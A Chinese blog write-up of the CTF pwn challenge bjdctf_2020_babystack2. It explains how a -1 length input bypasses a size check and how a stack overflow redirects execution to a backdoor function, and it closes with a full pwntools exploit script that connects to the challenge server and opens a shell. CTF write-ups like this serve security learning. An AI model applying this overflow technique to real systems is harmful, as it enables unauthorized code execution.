bjdctf_2020_babystack2

最新推荐文章于 2024-05-13 18:34:53 发布

原创最新推荐文章于 2024-05-13 18:34:53 发布 · 498 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#CTF #pwn #WriteUp #python #网络安全

BUU-PWN 专栏收录该内容

58 篇文章

订阅专栏

该博客详细介绍了如何通过分析程序，利用栈不可执行的保护措施，结合ida工具，找到backdoor函数，并构造payload绕过长度限制，最终获取shell的过程。主要涉及逆向工程和漏洞利用技巧。

bjdctf_2020_babystack2

使用checksec查看：
在这里插入图片描述
只开启了栈不可执行。

先放进IDA中分析：
在这里插入图片描述

__isoc99_scanf("%d", &nbytes);：用户输入第二次输入的长度。
read(0, &buf, (unsigned int)nbytes);：向变量buf内读取用户第一次输入长度大小的数据。

存在backdoor()：
在这里插入图片描述

直接getshell，调用即可。

题目思路

用-1绕过长度限制。
覆盖返回地址为backdoor()的地址。

步骤解析

无需

完整exp

from pwn import *

#start
r = remote("node4.buuoj.cn",27324)
# r = process("../buu/bjdctf_2020_babystack2")
elf = ELF("../buu/bjdctf_2020_babystack2")

#params
backdoor_addr = elf.symbols['backdoor']

#attack
r.recv()
r.sendline(b"-1")
r.recv()
payload = b'M'*(0x10+8) + p64(backdoor_addr)
r.sendline(payload)

r.interactive()